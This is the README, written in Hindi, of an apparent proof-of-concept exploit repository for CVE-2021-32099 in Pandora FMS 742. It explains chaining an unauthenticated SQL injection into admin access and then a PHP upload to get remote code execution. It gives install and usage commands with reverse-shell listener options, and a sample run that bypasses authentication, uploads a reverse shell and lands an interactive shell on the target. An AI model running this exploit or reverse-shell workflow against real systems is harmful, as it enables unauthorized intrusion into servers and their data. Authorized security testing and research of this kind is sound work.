
CVE-2021-32099 के लिए PoC
यह रिपॉज़िटरी CVE-2021-32099 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) एक्सप्लॉइट प्रदान करती है, जो Pandora FMS 742 को प्रभावित करती है। यह एक्सप्लॉइट दिखाता है कि कैसे एक बिना प्रमाणीकरण वाला हमलावर SQL इंजेक्शन भेद्यता का लाभ उठाकर एक अन-विशेषाधिकृत सत्र को व्यवस्थापक-स्तर के खाते में परिवर्तित कर सकता है। व्यवस्थापकीय पहुँच के साथ, हमलावर Pandora FMS फ़ाइल प्रबंधक के माध्यम से एक मनमाना PHP फ़ाइल अपलोड कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है और सर्वर वेब सर्वर उपयोगकर्ता के रूप में समझौता हो जाता है।
यह प्रोजेक्ट केवल शैक्षिक, अनुसंधान और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
इस कोड का उपयोग उन सिस्टम पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
लेखक किसी भी क्षति या दुरुपयोग के लिए जिम्मेदार नहीं है।
python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py
usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py --target http://localhost --lhost 10.10.14.81 --lport 4444
[+] Bypassing authentication...OK
[+] Uploading reverse shell...OK
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.177.29 on port 37308
[+] Executing reverse shell...
[*] Switching to interactive mode
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:59:07 up 17:30, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$